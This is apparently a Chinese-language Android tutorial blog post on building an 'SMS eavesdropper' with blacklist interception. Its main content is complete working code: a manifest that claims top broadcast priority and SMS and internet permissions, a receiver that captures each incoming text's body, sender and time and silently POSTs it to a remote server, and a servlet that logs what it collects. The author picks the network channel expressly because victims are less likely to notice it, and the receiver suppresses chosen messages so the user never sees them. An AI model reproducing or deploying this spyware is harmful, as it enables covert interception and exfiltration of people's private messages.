Android--短信窃听器及黑名单拦截

一、短信窃听器原理:

   当系统收到短信时,会发出一个广播IntentIntentaction名称为android.provider.Telephony.SMS_RECEIVED,该Intent存放了系统接收到的短信内容,

  我们使用名称“pdus”既可以从Intent中户取到短信内容


二、获取窃听信息的方式有两种:

    一种将窃听的短信以短信转发的方式将短信发送给窃听者,需要走短信通道,所以扣除用户的费用,容易被发现。

    一种将窃听的短信息发送到web应用,因为走的是互联网络通道,所以无法查询访问了哪些网站,数据量较少,产生的流量费也不多,所以这种方式比较好。

  这里选用第二种方式


三、广播分为两种不同的类型:“普通广播(Normal broadcast)和”有序广播(Ordered broadcast

    普通广播

       完全异步的,可以在同一时刻(逻辑上)被所欲接收者接收到,相对有序广播消息传递的效率比较高,缺点:接收者不能将处理结果传递给下一个接收者,

       并且无法终止广播Intent的传播。


    有序广播

      按照接收者声明的优先级别,被接收者依次接收广播。如:A的优先级高于BB的优先级高于C,那么,广播先传给A,再传给B,最后传给C优先级别在

     <intent-filter>android.priority属性中声明,数值越大优先级越高,取值范围:-10001000,优先级别也可以调用IntentFilter对象的setPrority()进行设置。

   有序广播的接收者可以终止广播Intent的广播,广播Intent一旦终止,后面跟的接收者就无法接收到广播。另外,有序广播的接收者可以将数据传递给下一个

   接收者,如:A得到广播后,可以往它的结果独享中存入数据,当广播传给B时,B可以从A的结果对象中得到A存入的数据。


四、发送两种广播方式的方法


Context.sendBroadcast()

发送的是普通广播,所有订阅者都有机会获得并进行处理


Context.sendOrderedBroadcast()

发送有序广播,系统会根据接收者声明的优先级别按顺序逐个执行接收者,前面的接收者有权终止广播。

对于有序广播,前面的接收者可以将数据通过setResultExtras(Bundle)方法存放进结果对象。然后传给下一个接收者,下一个接收者通

过代码:Bundle bundle = getResultExtras(true)可以获取上一个接收者存入在结果对象中的数据。


五、短信黑名单拦截的原理

系统受到短信,发出的广播属于有序广播。所以可以通过设置优先级,让自定义的接收者先获取到广播,然后终止广播,这样用户就接收不到短信了。


六、短信窃听器及黑名单拦截代码


演示过程:

开启两个Android模拟器,将该窃听器发布到一个模拟器5554上,用另外一个模拟器5556向5554发送信息,可以看到在控制台上打印了信息内容,时间,发送者等信息,而5554却没有任何响应,即没有收到信息


发现的错误:

    在注册广播时,将intent-filter的配置在了<receiver>外面,以至于没有注册成功,无法启动SMSBroadcastReceiver,在服务端一直未获得数据。


AndroidMainfest.xml 

    进行广播接收注册,短信,网络访问权限以及意图匹配

   在<intent-filter>android.priority属性中进行优先级声明,这里为最大1000

<application android:label="@string/app_name"
        android:icon="@drawable/ic_launcher"
        android:theme="@style/AppTheme">
        
		<receiver android:name = ".SMSBroadcastReceiver">	 
    	 <!-- 意图过滤器  -->
    	 <intent-filter android:priority="1000">  
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />  
         </intent-filter>  
		</receiver>
    </application>
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
	<uses-permission android:name="android.permission.INTERNET"/>


短信广播接收者

   在本应用中不需要创建Activity,只需创建一个短信接收继承自广播接收者即可

   在该类中提供了:

     获取短信息以及其更具体信息的方法

     由于我们要将信息发送到网络上,所以创建一个实现该功能的方法sendSMS2Web,该方法主要实现如何发送请求,以及请求的实体数据向服务器,以便获得服务

package cn.xushuai.smslistener;

import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLEncoder;
import java.text.SimpleDateFormat;
import java.util.Date;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsMessage;

//接收短信的广播接收者
public class SMSBroadcastReceiver extends BroadcastReceiver {

	@Override
	public void onReceive(Context context, Intent intent) {
		Object[] pdus = (Object[]) intent.getExtras().get("pdus");
		for(Object obj : pdus){
			byte[] pdu = (byte[]) obj;//将对象转换为字节数组
			SmsMessage message = SmsMessage.createFromPdu(pdu);//使用pdu格式的数据生成短信对象
			String content = message.getMessageBody();
			Date date = new Date(message.getTimestampMillis());//获取发送时间
			SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
			String receiveTime = format.format(date);//获取指定格式发送日期
			String senderNumber = message.getOriginatingAddress();//发送者的号码
			System.out.println(receiveTime+".."+senderNumber);
			//将数据发送到网络
			sendSMS2Web(content,receiveTime,senderNumber);
			
			if("15555215556".equals(senderNumber)){
				abortBroadcast();
			}
		}
		
	}

	private boolean sendSMS2Web(String content, String receiveTime,String senderNumber){
		try{
			//构建实体数据
			String params = "content="+URLEncoder.encode(content, "UTF-8")+
					"&receivetime="+receiveTime+"&sendernumber="+senderNumber;
			byte[] entity = params.getBytes();
			String path = "http://10.1.8.153:8080/SMSServer/ReceiveSMSServlet";
			HttpURLConnection conn = (HttpURLConnection) new URL(path).openConnection();
			conn.setConnectTimeout(5000);
			conn.setRequestMethod("POST");
			conn.setDoOutput(true);//允许对外输出数据
			conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
			conn.setRequestProperty("Content-Length", String.valueOf(entity.length));
			conn.getOutputStream().write(entity);
			if(conn.getResponseCode()==200){
				return true;
			}
		}catch(Exception e){
			e.printStackTrace();
		}
		return false;
	}

}


服务器

使用tomcat服务器创建一个web服务器,并提供一个ReceiveSMSServlet来提供信息的处理,这里打印到控制台

package cn.xushuai.servlet;

import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class ReceiveSMSServlet extends HttpServlet {
	private static final long serialVersionUID = 1L;
       
	protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
		doPost(request,response);
	}

	protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
		String content = request.getParameter("content");
		String receiveTime = request.getParameter("receivetime");
		String senderNumber = request.getParameter("sendernumber");
		System.out.println("短信内容:"+content);
		System.out.println("接收时间:"+receiveTime);
		System.out.println("短信发送者:"+senderNumber);
	}

}



你可能感兴趣的:(Android--短信窃听器及黑名单拦截)